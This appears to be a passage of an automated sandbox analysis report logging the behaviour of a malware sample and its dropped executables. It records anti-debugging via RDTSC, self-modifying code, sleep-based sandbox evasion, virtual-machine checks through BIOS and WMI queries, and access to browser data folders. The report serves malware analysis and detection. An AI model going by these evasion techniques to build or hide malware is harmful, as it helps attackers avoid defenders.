Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	RDTSC instruction interceptor: First address: 37AA08 second address: 37AA0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 32EBF4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 32EB3C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4DBCD3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 32C072 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4E6640 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 32EAF7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 56A93D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1DEBF4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1DEB3C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 38BCD3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1DC072 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 396640 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1DEAF7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 41A93D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Special instruction interceptor: First address: 67DE39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Special instruction interceptor: First address: 70F426 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Special instruction interceptor: First address: BA7AE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Special instruction interceptor: First address: BA79DA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Special instruction interceptor: First address: D73978 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Special instruction interceptor: First address: DDD48B instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Memory allocated: EC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Memory allocated: 29D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Memory allocated: 49D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Memory allocated: 33D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	Memory allocated: 33F0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04AD026A rdtsc

0_2_04AD026A

Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1052	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1021	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 980	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1370	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1029	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1304	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1015	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Window / User API: threadDelayed 2930	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Window / User API: threadDelayed 6853	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5798	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3932	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7419	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2172	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5550
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3042
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4465
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2615
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 997
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 406

Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\FutureApp\Ionic.Zip.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsiCA01.tmp\siblog.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\FutureApp\1\11.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\FutureApp\SibClr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\FutureApp\0\Setup.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\FutureApp\SibCa.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\FutureApp\08E5C.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\FutureApp\2\2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\FutureApp\Zip.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5780	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3920	Thread sleep count: 1052 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3920	Thread sleep time: -2105052s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5800	Thread sleep count: 310 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5800	Thread sleep time: -9300000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6448	Thread sleep count: 1021 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6448	Thread sleep time: -2043021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3652	Thread sleep count: 980 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3652	Thread sleep time: -1960980s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3620	Thread sleep count: 1370 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3620	Thread sleep time: -2741370s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3924	Thread sleep count: 1029 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3924	Thread sleep time: -2059029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1360	Thread sleep count: 1304 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1360	Thread sleep time: -2609304s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3620	Thread sleep count: 1015 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3620	Thread sleep time: -2031015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1360	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -99438s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -99313s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -99188s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -99063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -98953s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -98844s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -98719s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -98610s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -98485s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -98360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -98235s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -98117s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -98000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -97891s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -97739s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -97577s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -97360s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -97211s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -97086s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -96968s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -96860s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -96747s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -96641s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -96516s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -96391s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -96282s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -96157s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -96032s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -95922s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -95812s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -95704s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -95579s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -95454s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -95329s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -95204s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -95079s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -94954s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -94829s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -94481s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -94368s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -94250s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -94141s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -94016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -93906s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe TID: 5324	Thread sleep time: -93797s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3876	Thread sleep count: 5798 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5960	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 828	Thread sleep count: 3932 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6380	Thread sleep count: 7419 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6508	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6120	Thread sleep count: 2172 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe TID: 5488	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe TID: 5584	Thread sleep time: -30000s >= -30000s
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe TID: 4128	Thread sleep time: -210000s >= -30000s
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe TID: 4448	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2220	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5476	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 384	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5500	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe TID: 2296	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe TID: 2296	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 99438	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 99313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 99188	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 99063	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 98953	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 98844	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 98719	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 98610	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 98485	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 98360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 98235	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 98117	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 98000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 97891	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 97739	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 97577	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 97360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 97211	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 97086	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 96968	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 96860	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 96747	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 96641	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 96516	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 96391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 96282	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 96157	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 96032	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 95922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 95812	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 95704	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 95579	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 95454	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 95329	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 95204	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 95079	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 94954	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 94829	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 94481	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 94368	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 94250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 94141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 94016	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 93906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	Thread delayed: delay time: 93797	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\CEF
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Publishers
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Packages
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Mozilla
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Comms

